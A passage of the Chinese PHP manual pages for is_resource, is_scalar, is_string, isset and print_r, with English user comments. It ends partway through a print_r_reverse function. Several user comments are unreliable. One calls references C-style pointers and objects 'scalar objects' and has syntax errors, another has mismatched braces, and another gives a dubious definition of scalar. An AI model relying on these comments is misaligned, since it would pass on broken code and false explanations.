以上示例会输出：

$handle is a resource

注释

Note:

is_resource() 不是严格的类型检查方法：如果 value 是已关闭的资源变量，将返回 false。

参见

  • 资源类型文档
  • get_resource_type() - 返回资源类型

User Contributed Notes

Anonymous 29-Sep-2017 11:16
Note that is_resource() is unreliable. It considers closed resources as false:

<?php

$a = fopen('http://www.google.com', 'r');
var_dump(is_resource($a)); var_dump(is_scalar($a));
//bool(true)
//bool(false)

fclose($a);
var_dump(is_resource($a)); var_dump(is_scalar($a));
//bool(false)
//bool(false)

?>

That's the reason why some other people here have been confused and devised some complex (bad) "solutions" to detect resources...

There's a much better solution... In fact, I just showed it above, but here it is again with a more complete example:

<?php

$a = fopen('http://www.google.com', 'r');
var_dump(is_resource($a)); var_dump(is_scalar($a)); var_dump(is_object($a)); var_dump(is_array($a)); var_dump(is_null($a));
//bool(true)
//bool(false)
//bool(false)
//bool(false)
//bool(false)

?>

So how do you check if something is a resource?

Like this!

<?php

$a = fopen('http://www.google.com', 'r');
$isResource = is_resource($a) || ($a !== null && !is_scalar($a) && !is_array($a) && !is_object($a));
var_dump($isResource);
//bool(true)

fclose($a);

var_dump(is_resource($a));
//bool(false)

$isResource = is_resource($a) || ($a !== null && !is_scalar($a) && !is_array($a) && !is_object($a));
var_dump($isResource);
//bool(true)

?>

How it works:

- An active resource is a resource, so check that first for efficiency.
- Then branch to check what the variable is NOT:
- A resource is never NULL. (We do that check via `!== null` for efficiency).
- A resource is never Scalar (int, float, string, bool).
- A resource is never an array.
- A resource is never an object.
- Only one variable type remains if all of the above checks succeeded: IF it's NOT any of the above, then it's a closed resource!

Just surfed by and saw the bad and hacky methods other people had left, and wanted to help out with this proper technique. Good luck, everyone!

PS: The core problem is that is_resource() does a "loose" check for "living resource". I wish that it had a $strict parameter for "any resource" instead of these user-workarounds being necessary.
CertaiN 17-Jan-2014 05:05
Try this to know behavior:

<?php
function resource_test($resource, $name) {
    echo
        '[' . $name. ']',
        PHP_EOL,
        '(bool)$resource => ',
        $resource ? 'TRUE' : 'FALSE',
        PHP_EOL,
        'get_resource_type($resource) => ',
        get_resource_type($resource) ?: 'FALSE',
        PHP_EOL,
        'is_resource($resource) => ',
        is_resource($resource) ? 'TRUE' : 'FALSE',
        PHP_EOL,
        PHP_EOL
    ;
}

$resource = tmpfile();
resource_test($resource, 'Check Valid Resource');

fclose($resource);
resource_test($resource, 'Check Released Resource');

$resource = null;
resource_test($resource, 'Check NULL');
?>

It will be shown as...

[Check Valid Resource]
(bool)$resource => TRUE
get_resource_type($resource) => stream
is_resource($resource) => TRUE

[Check Released Resource]
(bool)$resource => TRUE
get_resource_type($resource) => Unknown
is_resource($resource) => FALSE

[Check NULL]
(bool)$resource => FALSE
get_resource_type($resource) => FALSE
Warning:  get_resource_type() expects parameter 1 to be resource, null given in ... on line 10
is_resource($resource) => FALSE
btleffler [AT] gmail [DOT] com 12-May-2011 01:55
I was recently trying to loop through some objects and convert them to arrays so that I could encode them to json strings.

I was running into issues when an element of one of my objects was a SoapClient. As it turns out, json_encode() doesn't like any resources to be passed to it. My simple fix was to use is_resource() to determine whether or not the variable I was looking at was a resource.

I quickly realized that is_resource() returns false for two out of the 3 resources that are typically in a SoapClient object. If the resource type is 'Unknown' according to var_dump() and get_resource_type(), is_resource() doesn't think that the variable is a resource!

My work around for this was to use get_resource_type() instead of is_resource(), but that function throws an error if the variable you're checking isn't a resource.

So how are you supposed to know when a variable is a resource if is_resource() is unreliable, and get_resource_type() gives errors if you don't pass it a resource?

I ended up doing something like this:

<?php

function isResource ($possibleResource) { return !is_null(@get_resource_type($possibleResource)); }

?>

The @ operator suppresses the errors thrown by get_resource_type() so it returns null if $possibleResource isn't a resource.

I spent way too long trying to figure this stuff out, so I hope this comment helps someone out if they run into the same problem I did.


检测变量是否是一个标量

  • ? is_resource
  • is_string ?
  • PHP Manual
  • 变量处理函数
  • 检测变量是否是一个标量

is_scalar

(PHP 4 >= 4.0.5, PHP 5, PHP 7, PHP 8)

is_scalar — 检测变量是否是一个标量

说明

is_scalar(mixed $value): bool

检测变量是否为标量

标量变量是指 int、float、string 或 bool 类型的变量。 array、object 、 resource 和 null 类型不是标量。

Note:

is_scalar() 不会将 resource 类型值视为标量， 因为当前 resources 是基于整数（integer）的抽象数据类型。 不能依赖该执行细节，因为它可能会改变。

Note:

is_scalar() 不会将 NULL 检测为标量。

参数

value

需要检测的变量。

返回值

如果 value 是标量，则返回 true ，否则返回 false 。

示例

Example #1 is_scalar() 示例

<?php
function show_var($var)
{
if (is_scalar($var)) {
echo $var;
} else {
var_dump($var);
}
}
$pi = 3.1416;
$proteins = array("hemoglobin", "cytochrome c oxidase", "ferredoxin");

show_var($pi);
show_var($proteins)

?>

以上示例会输出：

3.1416
array(3) {
  [0]=>
  string(10) "hemoglobin"
  [1]=>
  string(20) "cytochrome c oxidase"
  [2]=>
  string(10) "ferredoxin"
}

参见

  • is_float() - 查找变量的类型是否是浮点型
  • is_int() - 检测变量是否是整数
  • is_numeric() - 检测变量是否为数字或数字字符串
  • is_real() - 别名 is_float
  • is_string() - 查找变量的类型是否是字符串
  • is_bool() - 检测变量是否是布尔值
  • is_object() - 查找变量是否是对象
  • is_array() - 检测变量是否是数组

User Contributed Notes

31-Jul-2006 08:59
Another warning in response to the previous note:
> just a warning as it appears that an empty value is not a scalar.

That statement is wrong--or, at least, has been fixed with a later revision than the one tested.  The following code generated the following output on PHP 4.3.9.

CODE:
<?php
    echo('is_scalar() test:'.EOL);
    echo("NULL: "      . print_R(is_scalar(NULL),     true) . EOL);
    echo("false: "    . print_R(is_scalar(false),   true) . EOL);
    echo("(empty): "  . print_R(is_scalar(''),      true) . EOL);
    echo("0: "         . print_R(is_scalar(0),       true) . EOL);
    echo("'0': "      . print_R(is_scalar('0'),     true) . EOL);
?>

OUTPUT:
is_scalar() test:
NULL:
false: 1
(empty): 1
0: 1
'0': 1

THUS:
   * NULL is NOT a scalar
   * false, (empty string), 0, and "0" ARE scalars
efelch at gmail dot com 17-Aug-2005 02:31
A scalar is a single item or value, compared to things like arrays and objects which have multiple values. This tends to be the standard definition of the word in terms of programming. An integer, character, etc are scalars. Strings are probably considered scalars since they only hold "one" value (the value represented by the characters represented) and nothing else.
Dr K 14-Aug-2005 03:48
Having hunted around the manual, I've not found a clear statement of what makes a type "scalar" (e.g. if some future version of the language introduces a new kind of type, what criterion will decide if it's "scalar"? - that goes beyond just listing what's scalar in the current version.)

In other lanuages, it means "has ordering operators" - i.e. "less than" and friends.

It (-:currently:-) appears to have the same meaning in PHP.
popanowel HAT hotmailZ DOT cum 14-May-2004 12:31
Hi ... for newbees here, I just want to mention that reference and scalar variable aren't the same. A reference is a pointer to a scalar, just like in C or C++.

<? php  // simple reference to scalar

  $a = 2;
  $ref = & $a;

  echo "$a <br> $ref";

?>
this should print out: "2 <br> 2".

Scalar class also exists. Look below:
<? php

  class Object_t {

     var $a;

     function Object_t ()  // constructor
     {
        $this->a = 1;
     }

  }

  $a = new Object_t; // we define a scalar object

  $ref_a = &a;

  echo "$a->a <br> $ref->a";

?>
again, this should echo: "1 <br> 1";

Here is another method isued in OOP to acheive on working only over reference to scalar object. Using this, you won't ever have to  ask yourself if you work on a copy of the scalar or its reference. You will only possess reference to the scalar object. If you want to duplicate the scalar object, you will have to create a function for that purpose that would read by the reference the values and assign them to another scalar of the same type... or an other type, it is as you wish at that moment.
<?php

  class objet_t {
     var $a;

     function object_t
     {
        $this->a = "patate_poil";
     }
  }

   function &get_ref($object_type)
   {
      // here we create a scalar object in memory
      // and we return it by reference to the calling
      // control scope.
      return &new $object_type;
   }

   $ref_object_t = get_ref(object_t);

   echo "$ref_object_t->a <br>";

?>
this should echo: "patate_poit <br>".

The only thing that I try to demonstrate is that scalar variable ARE object in memory while a reference is usualy a variable (scalar object) that contain the address of another scalar object, which contain the informations you want by using the reference.

Good Luck!

otek is popanowel HAT hotmailZ DOT cum


查找变量的类型是否是字符串

  • ? is_scalar
  • isset ?
  • PHP Manual
  • 变量处理函数
  • 查找变量的类型是否是字符串

is_string

(PHP 4, PHP 5, PHP 7, PHP 8)

is_string — 查找变量的类型是否是字符串

说明

is_string(mixed $value): bool

查找指定变量的类型是否是字符串。

参数

value

要计算的变量。

返回值

如果 value 是类型 string，返回 true，否则返回 false。

示例

Example #1 is_string() 示例

<?php
$values = array(false, true, null, 'abc', '23', 23, '23.5', 23.5, '', ' ', '0', 0);
foreach ($values as $value) {
echo "is_string(";
var_export($value);
echo ") = ";
echo var_dump(is_string($value));
}
?>

以上示例会输出：

is_string(false) = bool(false)
is_string(true) = bool(false)
is_string(NULL) = bool(false)
is_string('abc') = bool(true)
is_string('23') = bool(true)
is_string(23) = bool(false)
is_string('23.5') = bool(true)
is_string(23.5) = bool(false)
is_string('') = bool(true)
is_string(' ') = bool(true)
is_string('0') = bool(true)
is_string(0) = bool(false)

参见

  • is_float() - 查找变量的类型是否是浮点型
  • is_int() - 检测变量是否是整数
  • is_bool() - 检测变量是否是布尔值
  • is_object() - 查找变量是否是对象
  • is_array() - 检测变量是否是数组

User Contributed Notes

jcours at numifinancial dot com 15-Jul-2020 07:59
is_string() of an integer or float returns false, so it might be useful to include an is_numeric() when checking if a value is stringy:

<?php
function is_stringy($val) {
  return (is_string($val) || is_numeric($val)
    || (is_object($val) && method_exists($val, '__toString')));
}
?>

Test code (which should print "vector N OK" for each test vector):
<?php
foreach ([[NULL, false], [false, false], [true, false],
  [0, true], [[], false], [0.1, true], ["x", true],
  ["", true], [new Exception("x"), true]] as $idx => $vector) {
  list ($val, $expected) = $vector;
  if (is_stringy($val) != $expected) {
    print ("mismatch at $idx\n");
    var_dump($val);
  } else {
    print ("vector $idx OK\n");
  }
}
?>
Peter Barney 13-Sep-2017 10:47
As noted earlier, is_string() returns false on an object that has a __toString() method. Here is a simple way to do a check that will work:

<?php
// determine if the passed argument can be treated like a string.
function is_stringy($text) {
    return (is_string($text) || (is_object($text) && method_exists($text, '__toString' ));
}
laszlo dot heredy shift-two gmail etc 27-Feb-2014 09:22
Using is_string() on an object will always return false (even with __toString()).

<?php
class B {
  public function __toString() {
    return "Instances of B() can be treated as a strings!\n";
  }
}

$b = new B();
print($b); //Instances of B() can be treated as a strings!
print(is_string($b) ? 'true' : 'false'); //false
?>


检测变量是否已声明并且其值不为 null

  • ? is_string
  • print_r ?
  • PHP Manual
  • 变量处理函数
  • 检测变量是否已声明并且其值不为 null

isset

(PHP 4, PHP 5, PHP 7, PHP 8)

isset — 检测变量是否已声明并且其值不为 null

说明

isset(mixed $var, mixed ...$vars): bool

判断一个变量是否已设置, 即变量已被声明，且其值不为 null。

如果一个变量已经被使用 unset() 释放，它将不再被认为已设置。

若使用 isset() 测试一个被赋值为 null 的变量，将返回 false。 同时要注意的是 null 字符（"\0"）并不等同于 PHP 的 null 常量。

如果一次传入多个参数，那么 isset() 只有在全部参数都已被设置时返回 true。 计算过程从左至右，中途遇到未设置的变量时就会立即停止。

参数

var

要检查的变量。

vars

其他变量。

返回值

如果 var 存在并且值不是 null 则返回 true，否则返回 false。

示例

Example #1 isset() 例子

<?php

$var = '';

// 结果为 TRUE，所以后边的文本将被打印出来。
if (isset($var)) {
echo "This var is set so I will print.";
}

// 在后边的例子中，我们将使用 var_dump 输出 isset() 的返回值。
// the return value of isset().

$a = "test";
$b = "anothertest";

var_dump(isset($a)); // TRUE
var_dump(isset($a, $b)); // TRUE

unset ($a);

var_dump(isset($a)); // FALSE
var_dump(isset($a, $b)); // FALSE

$foo = NULL;
var_dump(isset($foo)); // FALSE

?>

这对于数组中的元素也同样有效：

<?php

$a = array ('test' => 1, 'hello' => NULL, 'pie' => array('a' => 'apple'));

var_dump(isset($a['test'])); // TRUE
var_dump(isset($a['foo'])); // FALSE
var_dump(isset($a['hello'])); // FALSE

// 键 'hello' 的值等于 NULL，所以被认为是未置值的。
// 如果想检测 NULL 键值，可以试试下边的方法。
var_dump(array_key_exists('hello', $a)); // TRUE

// Checking deeper array values
var_dump(isset($a['pie']['a'])); // TRUE
var_dump(isset($a['pie']['b'])); // FALSE
var_dump(isset($a['cake']['a']['b'])); // FALSE

?>

Example #2 在字符串位移中使用 isset()

<?php
$expected_array_got_string = 'somestring';
var_dump(isset($expected_array_got_string['some_key']));
var_dump(isset($expected_array_got_string[0]));
var_dump(isset($expected_array_got_string['0']));
var_dump(isset($expected_array_got_string[0.5]));
var_dump(isset($expected_array_got_string['0.5']));
var_dump(isset($expected_array_got_string['0 Mostel']));
?>

以上示例会输出：

bool(false)
bool(true)
bool(true)
bool(true)
bool(false)
bool(false)

注释

Warning

isset() 只能用于变量，因为传递任何其它参数都将造成解析错误。若想检测常量是否已设置，可使用 defined() 函数。

Note: 因为是语言构造器而不是函数，不能被 可变函数 或者 命名参数 调用。

Note:

如果使用 isset() 来检查对象无法访问的属性，如果 __isset() 方法已经定义则会调用这个重载方法。

参见

  • empty() - 检查变量是否为空
  • __isset()
  • unset() - 清除指定变量
  • defined() - 检查某个名称的常量是否存在
  • the type comparison tables
  • array_key_exists() - 检查数组里是否有指定的键名或索引
  • is_null() - 检测变量是否是 null
  • 错误控制 @ 运算符。

User Contributed Notes

eckoson at gmail dot com 01-Aug-2023 02:41
If you are annoyed by the behavior of isset() concerning null values, here is a handy function for you. its similar to array_key_exists but, its a lot more flexible and can check for multiple array keys across multiple arrays.
Not recursive!
Tested on php 8.1.6, linux
<?php
/**
* is_set
* @author DJ Eckoson
* @link @eckosongh Facebook Page
* checks whether variable names are set within the global space or they exists as an key and return if they are set (even if their values are null)
* @param string $var_name
*   name of the first variable to check
* @param array|null|string
*   optional array to check for key (if null, checks from $GLOBALS) OR
*   other variable names to check OR
*   other variable names and their associated arrays to their right (use null for global variables, optional if its the last parameter)
* check examples below
*/
function is_set(string $var_name, array|null|string ... $args): bool {
  $vars[$var_name] = null;
  if (array_key_exists(0, $args)) {
    if (is_array($args[0])) {
      $vars[$var_name] = $args[0];
    } elseif (is_string($args[0])) {
      goto main;
    }
    unset($args[0]);
  }
  main:
  if ($args) {
    $args = array_reverse($args);
    $cur_array = null;
    array_walk($args, function ($value) use (&$cur_array, &$vars): void {
      if (!is_string($value)) {
        $cur_array = $value;
      } else {
        $vars[$value] = $cur_array;
      }
    });
  }
  foreach ($vars as $name => $array) {
    if (!array_key_exists($name, $array??$GLOBALS)) return false;
  }
  return true;
}

// Examples
$arr1 = range(0, 5);
$arr2 = [
  'a' => 1,
  'b' => 2,
  'c' => 'hELLO wORLD!'
];
$gender = 'male';
$age = 12;
var_dump(is_set('age')); // true
var_dump(is_set('age', null)); // true
var_dump(is_set('age', $arr1)); // false
var_dump(is_set('age', array())); // false
var_dump(is_set('age', array('age' => 48))); // true
var_dump(is_set('age', 'arr1', null, 'b', $arr2, 0, 3, 4, $arr1, 'gender')); // true
var_dump(is_set('age', 'arr1', null, 'b', $arr2, 0, 3, 4, $arr1, 'gender', null)); // true

$c=$d=$e=$a=2;
$arr = [1,4];
var_dump(is_set('a', 'c', null, 0, 1, $arr)); // true
var_dump(is_set('a', 'c', null, 0, 4, $arr)); // false
?>
 Note:
 it won't work for variables declared locally inside a function;
 however you can use it for checking if array keys exists inside a function
Hayley Watson 30-Jul-2017 01:12
If you regard isset() as indicating whether the given variable has a value or not, and recall that NULL is intended to indicate that a value is _absent_ (as said, somewhat awkwardly, on its manual page), then its behaviour is not at all inconsistent or confusing.

It's not just to check for uninitialised variables - a lot of the time those are just due to sloppy coding. There are other ways a variable could fail to have a value (e.g., it's meant to hold the value returned from a function call but the function didn't have a value to return) where uninitialising the variable would not be an option nor even make sense (e.g., depending on what was to be done with the returned value).
kurdtpage at gmail dot com 21-Dec-2016 01:03
The new (as of PHP7) 'null coalesce operator' allows shorthand isset. You can use it like so:

<?php
// Fetches the value of $_GET['user'] and returns 'nobody'
// if it does not exist.
$username = $_GET['user'] ?? 'nobody';
// This is equivalent to:
$username = isset($_GET['user']) ? $_GET['user'] : 'nobody';

// Coalescing can be chained: this will return the first
// defined value out of $_GET['user'], $_POST['user'], and
// 'nobody'.
$username = $_GET['user'] ?? $_POST['user'] ?? 'nobody';
?>

Quoted from http://php.net/manual/en/migration70.new-features.php#migration70.new-features.null-coalesce-op
p_ignorethis_lbowers at gmail dot com 06-Oct-2016 07:26
I, too, was dismayed to find that isset($foo) returns false if ($foo == null). Here's an (awkward) way around it.

unset($foo);
if (compact('foo') != array()) {
  do_your_thing();
}

Of course, that is very non-intuitive, long, hard-to-understand, and kludgy. Better to design your code so you don't depend on the difference between an unset variable and a variable with the value null. But "better" only because PHP has made this weird development choice.

In my thinking this was a mistake in the development of PHP. The name ("isset") should describe the function and not have the desciption be "is set AND is not null". If it was done properly a programmer could very easily do (isset($var) || is_null($var)) if they wanted to check for this!

A variable set to null is a different state than a variable not set - there should be some easy way to differentiate. Just my (pointless) $0.02.
ayyappan dot ashok at gmail dot com 24-Mar-2016 07:23
Return Values :
Returns TRUE if var exists and has value other than NULL, FALSE otherwise.

<?php
$a=NULL;
$b=FALSE; //The out put was TRUE.
$c=TRUE;
$d='';
$e="";
if(isset($b)):
echo "TRUE";
else:
echo "FALSE";
endif;
?>
Could any one explain me in clarity.
andreasonny83 at gmail dot com 12-May-2015 11:26
Here is an example with multiple parameters supplied

<?php
$var = array();
$var['val1'] = 'test';
$var['val2'] = 'on';

if ( isset( $var['val1'], $var['val2'] ) && $var['val2'] === 'on' ) {
    unset( $var['val1'] );
}
print_r( $var );
?>

This will output:
Array
(
    [val2] => on
)

The following code does the same calling "isset" 2 times:

<?php
$var = array();
$var['val1'] = 'test';
$var['val2'] = 'on';

if ( isset( $var['val1'] ) && isset( $var['val2'] ) && $var['val2'] === 'on' ) {
    unset( $var['val1'] );
}
print_r( $var );
?>
Cuong Huy To 23-Mar-2011 05:08
1) Note that isset($var) doesn't distinguish the two cases when $var is undefined, or is null. Evidence is in the following code.

<?php
unset($undefined);
$null = null;
if (true === isset($undefined)){echo 'isset($undefined) === true'} else {echo 'isset($undefined) === false'); // 'isset($undefined) === false'
if (true === isset($null)){echo 'isset($null) === true'} else {echo 'isset($null) === false');              // 'isset($null)      === false'
?>

2) If you want to distinguish undefined variable with a defined variable with a null value, then use array_key_exist

<?php
unset($undefined);
$null = null;

if (true !== array_key_exists('undefined', get_defined_vars())) {echo '$undefined does not exist';} else {echo '$undefined exists';} // '$undefined does not exist'
if (true === array_key_exists('null', get_defined_vars())) {echo '$null exists';} else {echo '$null does not exist';}                // '$null exists'
?>
francois vespa 22-Dec-2010 07:21
Now this is how to achieve the same effect (ie, having isset() returning true even if variable has been set to null) for objects and arrays

<?php

// array

$array=array('foo'=>null);

return isset($array['foo']) || array_key_exists('foo',$array)
  ? true : false ; // return true

return isset($array['inexistent']) || array_key_exists('inexistent',$array)
  ? true : false ; // return false

// static class

class bar

{
  static $foo=null;
}

return isset(bar::$foo) || array_key_exists('foo',get_class_vars('bar'))
  ? true : false ; // return true

return isset(bar::$inexistent) || array_key_exists('inexistent',get_class_vars('bar'))
  ? true : false ; // return false

// object

class bar
{
    public $foo=null;
}

$bar=new bar();

return isset($bar->foo) || array_key_exists('foo',get_object_vars($bar))
  ? true : false ; // return true

return isset($bar->inexistent) || array_key_exists('inexistent',get_object_vars($bar))
  ? true : false ; // return true

// stdClass

$bar=new stdClass;
$bar->foo=null;

return isset($bar->foo) || array_key_exists('foo',get_object_vars($bar))
  ? true : false ; // return true

return isset($bar->inexistent) || array_key_exists('inexistent',get_object_vars($bar))
  ? true : false ; // return true

?>
Anl zselgin 14-Aug-2009 03:30
Note: Because this is a language construct and not a function, it cannot be called using variable functions.

So why it is under "Variable handling Functions". Maybe there should be some good documentation field for language constructs.
Ashus 08-Dec-2008 01:05
Note that array keys are case sensitive.

<?php
$ar['w'] = true;

var_dump(isset($ar['w']),
      isset($ar['W']));
?>

will report:
bool(true) bool(false)
a dot schaffhirt at sedna-soft dot de 12-Oct-2008 08:01
You can safely use isset to check properties and subproperties of objects directly. So instead of writing

    isset($abc) && isset($abc->def) && isset($abc->def->ghi)

or in a shorter form

    isset($abc, $abc->def, $abc->def->ghi)

you can just write

    isset ($abc->def->ghi)

without raising any errors, warnings or notices.

Examples
<?php
    $abc = (object) array("def" => 123);
    var_dump(isset($abc));                // bool(true)
    var_dump(isset($abc->def));           // bool(true)
    var_dump(isset($abc->def->ghi));      // bool(false)
    var_dump(isset($abc->def->ghi->jkl)); // bool(false)
    var_dump(isset($def));                // bool(false)
    var_dump(isset($def->ghi));           // bool(false)
    var_dump(isset($def->ghi->jkl));      // bool(false)

    var_dump($abc);                       // object(stdClass)#1 (1) { ["def"] => int(123) }
    var_dump($abc->def);                  // int(123)
    var_dump($abc->def->ghi);             // null / E_NOTICE: Trying to get property of non-object
    var_dump($abc->def->ghi->jkl);        // null / E_NOTICE: Trying to get property of non-object
    var_dump($def);                       // null / E_NOTICE: Trying to get property of non-object
    var_dump($def->ghi);                  // null / E_NOTICE: Trying to get property of non-object
    var_dump($def->ghi->jkl);             // null / E_NOTICE: Trying to get property of non-object
?>
mandos78 AT mail from google 29-Jul-2008 02:40
Careful with this function "ifsetfor" by soapergem, passing by reference means that if, like the example $_GET['id'], the argument is an array index, it will be created in the original array (with a null value), thus causing posible trouble with the following code. At least in PHP 5.

For example:

<?php
$a = array();
print_r($a);
ifsetor($a["unsetindex"], 'default');
print_r($a);
?>

will print

Array
(
)
Array
(
    [unsetindex] =>
)

Any foreach or similar will be different before and after the call.
packard_bell_nec at hotmail dot com 25-Dec-2007 11:18
Note: isset() only checks variables as anything else will result in a parse error. In other words, the following will not work: isset(trim($name)).

isset() is the opposite of is_null($var) , except that no warning is generated when the variable is not set.
beuc at beuc dot net 16-Dec-2006 12:35
"empty() is the opposite of (boolean) var, except that no warning is generated when the variable is not set."

So essentially
<?php
if (isset($var) && $var)
?>
is the same as
<?php
if (!empty($var))
?>
doesn't it? :)

!empty() mimics the chk() function posted before.
randallgirard at hotmail dot com 27-Sep-2006 11:51
The unexpected results of isset has been really frustrating to me. Hence, it doesn't work how you'd think it would, (as documented) a var currently in the scope with a null value will return false.

Heres a quick solution, perhaps there are better ways of going about this, but heres my solution...

<?php
function is_set( $varname, $parent=null ) {
  if ( !is_array( $parent ) && !is_object($parent) ) {
    $parent = $GLOBALS;
  }
  return array_key_exists( $varname, $parent );
}
?>

Hence, $varname should be a mixed value of var's to check for, and $parent can be an array or object, which will default to the GLOBAL scope. See the documentation of array_key_exists for further information.

This will allow to check if a var is in the current scope, object, or array... Whether it's a null, false, true, or any value. It depends on ARRAY_KEY_EXISTS for it's functionality which also works with Objects. Feel free to improve on this anyone ;D
Tee Cee 20-Aug-2006 05:20
In response to 10-Feb-2006 06:02, isset($v) is in all (except possibly buggy) cases equivalent to !is_null($v). And no, it doesn't actually test if a variable is set or not by my definition "$v is set if unset($v) has no effect".

<?php
unset($c); //force $c to be unset
var_dump($a=&$c); // NULL, but this actually sets $a and $c to the 'same' NULL.
var_dump(isset($c)); // bool(false)
var_dump($a = 5); // int(5)
var_dump($c); // int(5)

unset($c);
var_dump($a=&$c); // NULL
var_dump(isset($c)); // bool(false)
unset($c);
var_dump($a = 5); // int(5)
var_dump($c); // NULL
?>

In the following example, we see an alternate method of testing if a variable is actually set or not:
<?php
var_dump(array_key_exists('c',get_defined_vars())); // false
var_dump(isset($c));                                // also false
var_dump($c);                                       // manipulate $c a bit...
var_dump((string)$c);
var_dump(print_r($c,true));
var_dump($a=$c);
var_dump(array_key_exists('c',get_defined_vars())); // ... still false
var_dump($c = NULL);                                // this sets $c
var_dump(array_key_exists('c',get_defined_vars())); // true!
var_dump(isset($c));                                // false; isset() still says it's unset
unset($c);                                          // actually unset it
var_dump(array_key_exists('c',get_defined_vars())); // false
var_dump($a=&$c);
var_dump(array_key_exists('c',get_defined_vars())); // true!
unset($c);                                          // unset it again
var_dump(&$c);                                      // &NULL
var_dump(array_key_exists('c',get_defined_vars())); // true!
?>

Obviously, null values take up space (or they wouldn't show up in get_defined_vars). Also, note that &$v sets $v to NULL if it is unset.
soywiz at php dot net 14-Apr-2006 06:12
Sometimes you have to check if an array has some keys. To achieve it you can use "isset" like this: isset($array['key1'], $array['key2'], $array['key3'], $array['key4'])
You have to write $array all times and it is reiterative if you use same array each time.

With this simple function you can check if an array has some keys:

<?php
function isset_array() {
    if (func_num_args() < 2) return true;
    $args = func_get_args();
    $array = array_shift($args);
    if (!is_array($array)) return false;
    foreach ($args as $n) if (!isset($array[$n])) return false;
    return true;
}
?>

Use: isset_array($array, 'key1', 'key2', 'key3', 'key4')
First parameter has the array; following parameters has the keys you want to check.
Andrew Penry 11-May-2005 08:17
The following is an example of how to test if a variable is set, whether or not it is NULL. It makes use of the fact that an unset variable will throw an E_NOTICE error, but one initialized as NULL will not.

<?php

function var_exists($var){
    if (empty($GLOBALS['var_exists_err'])) {
        return true;
    } else {
        unset($GLOBALS['var_exists_err']);
        return false;
    }
}

function var_existsHandler($errno, $errstr, $errfile, $errline) {
   $GLOBALS['var_exists_err'] = true;
}

$l = NULL;
set_error_handler("var_existsHandler", E_NOTICE);
echo (var_exists($l)) ? "True " : "False ";
echo (var_exists($k)) ? "True " : "False ";
restore_error_handler();

?>

Outputs:
True False

The problem is, the set_error_handler and restore_error_handler calls can not be inside the function, which means you need 2 extra lines of code every time you are testing. And if you have any E_NOTICE errors caused by other code between the set_error_handler and restore_error_handler they will not be dealt with properly. One solution:

<?php

function var_exists($var){
   if (empty($GLOBALS['var_exists_err'])) {
       return true;
   } else {
       unset($GLOBALS['var_exists_err']);
       return false;
   }
}

function var_existsHandler($errno, $errstr, $errfile, $errline) {
    $filearr = file($errfile);
    if (strpos($filearr[$errline-1], 'var_exists') !== false) {
        $GLOBALS['var_exists_err'] = true;
        return true;
    } else {
        return false;
    }
}

$l = NULL;
set_error_handler("var_existsHandler", E_NOTICE);
echo (var_exists($l)) ? "True " : "False ";
echo (var_exists($k)) ? "True " : "False ";
is_null($j);
restore_error_handler();

?>

Outputs:
True False
Notice: Undefined variable: j in filename.php on line 26

This will make the handler only handle var_exists, but it adds a lot of overhead. Everytime an E_NOTICE error happens, the file it originated from will be loaded into an array.
yaogzhan at gmail dot com 20-Mar-2005 04:52
If you have

<?PHP
class Foo
{
    protected $data = array('bar' => null);

    function __get($p)
    {
        if( isset($this->data[$p]) ) return $this->data[$p];
    }
}
?>

and
<?PHP
$foo = new Foo;
echo isset($foo->bar);
?>
will always echo 'false'. because the isset() accepts VARIABLES as it parameters, but in this case, $foo->bar is NOT a VARIABLE. it is a VALUE returned from the __get() method of the class Foo. thus the isset($foo->bar) expreesion will always equal 'false'.


打印人类可读的变量信息

  • ? isset
  • serialize ?
  • PHP Manual
  • 变量处理函数
  • 打印人类可读的变量信息

print_r

(PHP 4, PHP 5, PHP 7, PHP 8)

print_r — 打印人类可读的变量信息

说明

print_r(mixed $value, bool $return = false): string|bool

print_r() 以人类可读的方式显示变量的信息。

print_r()、var_dump()、var_export() 还将显示对象的 protected 和 private 属性。不会显示静态类成员。

参数

value

要打印的表达式。

return

想要捕获 print_r() 的输出，请使用 return 参数。当此参数为 true，print_r() 将返回信息，而不是打印它。

返回值

如果是指定 string、int 或 float，会直接打印值本身。如果是指定 array，值将以键和元素的格式显示。object 也一样。

当 return 参数设置成 true，本函数会返回 string。否则返回 true。

示例

Example #1 print_r() 例子

<pre>
<?php
$a = array ('a' => 'apple', 'b' => 'banana', 'c' => array ('x', 'y', 'z'));
print_r ($a);
?>
</pre>

以上示例会输出：

<pre>
Array
(
    [a] => apple
    [b] => banana
    [c] => Array
        (
            [0] => x
            [1] => y
            [2] => z
        )
)
</pre>

Example #2 return 参数的例子

<?php
$b = array ('m' => 'monkey', 'foo' => 'bar', 'x' => array ('x', 'y', 'z'));
$results = print_r($b, true); // $results 包含了 print_r 的输出
?>

注释

Note:

When the return parameter is used, this function uses internal output buffering prior to PHP 7.1.0, so it cannot be used inside an ob_start() callback function.

参见

  • ob_start() - 打开输出控制缓冲
  • var_dump() - 打印变量的相关信息
  • var_export() - 输出或返回变量的可解析字符串表示

User Contributed Notes

ajaykwatra at gmail dot com 12-Mar-2018 08:33
easier and better readability with print_r and vardump for php developers

https://gist.github.com/akwatra/b6a2f21b33e7a86d148618d8a83276b0
Soaku 28-Sep-2017 04:47
liamtoh6@hotmail.com posted a function that will echo print_r output with proper new lines in HTML files. He used <pre> for it to work, but that might not be always the best method to go. For example, it is not valid to place <pre> inside <p>.

Here is my way to do this:

<?php

function print_rbr ($var, $return = false) {
  $r = nl2br(htmlspecialchars(print_r($var, true)));
  if ($return) return $r;
  else echo $r;
}

?>

This function will:

- Place <br> where newlines are,
- Escape unsecure characters with HTML entities.
Soaku 28-Jul-2017 10:24
Remember to always htmlspecialchars print_r output, if it can contain html characters.

<?php

$array = array("<some>html<tags>");

print_r($array); // Invalid output, HTML breaks.
echo htmlspecialchars(print_r($array, true)); // Works and doesn't break the output.
?>
simivar at gmail dot com 21-Jun-2017 01:31
I've fixed function wrote by Matt to reverse print_r - it had problems with null values. Created a GIST for that too so please add any future fixes in there instead of this comment section:
https://gist.github.com/simivar/037b13a9bbd53ae5a092d8f6d9828bc3

<?php
/**
  * Matt: core
  * Trixor: object handling
  * lech: Windows suppport
  * simivar: null support
  *
  * @see http://php.net/manual/en/function.print-r.php
  **/
function print_r_reverse($input) {
        $lines = preg_split('#\r?\n#', trim($input));
        if (trim($lines[ 0 ]) != 'Array' && trim($lines[ 0 ] != 'stdClass Object')) {
            // bottomed out to something that isn't an array or object
            if ($input === '') {
                return null;
            }

            return $input;
        } else {
            // this is an array or object, lets parse it
            $match = array();
            if (preg_match("/(\s{5,})\(/", $lines[ 1 ], $match)) {
